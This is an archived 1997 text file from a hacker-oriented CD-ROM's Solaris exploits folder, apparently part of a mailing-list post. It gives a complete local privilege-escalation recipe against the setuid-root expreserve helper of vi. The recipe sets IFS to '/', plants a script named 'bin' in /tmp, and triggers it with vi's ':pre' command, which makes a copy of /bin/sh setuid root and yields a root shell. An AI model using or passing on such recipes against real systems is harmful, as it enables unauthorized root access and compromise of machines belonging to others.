home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / exploits / solaris / sol-ex~1.asc next >
Encoding:
Text File  |  1997-03-11  |  714 b   |  27 lines

  1.  
  2.  
  3.  
  4.  
  5. If the users own their home directories, then what prevents them from
  6.  
  7. removing that file?
  8.  
  9.   Oh, I detect an OS-dependent feature here...
  10.  
  11.  
  12.  
  13. ObBug: vi runs expreserve when it crashes or you type ':pre' (on some
  14.  
  15.   versions).  Expreserve is setuid root.  Expreserve runs /bin/mail
  16.  
  17.   with 'system()'.  So, do the following:
  18.  
  19.     % cd /tmp
  20.  
  21.     % cp /bin/sh fubar
  22.  
  23.     % cat > bin
  24.  
  25.     chmod 4755 fubar
  26.  
  27.     ^D
  28.  
  29.     % chmod u+x fubar
  30.  
  31.     % setenv IFS=/
  32.  
  33.     % vi
  34.  
  35.     :pre
  36.  
  37.     :q
  38.  
  39.     % fubar
  40.  
  41.     #
  42.  
  43.   Some versions of expreserve don't have the hole.
  44.  
  45.   Some versions of vi don't have the :pre command.
  46.  
  47.   One does not imply the other.
  48.  
  49.  
  50.  
  51. Argh.  Am I repeating 8lgm material here?
  52.  
  53.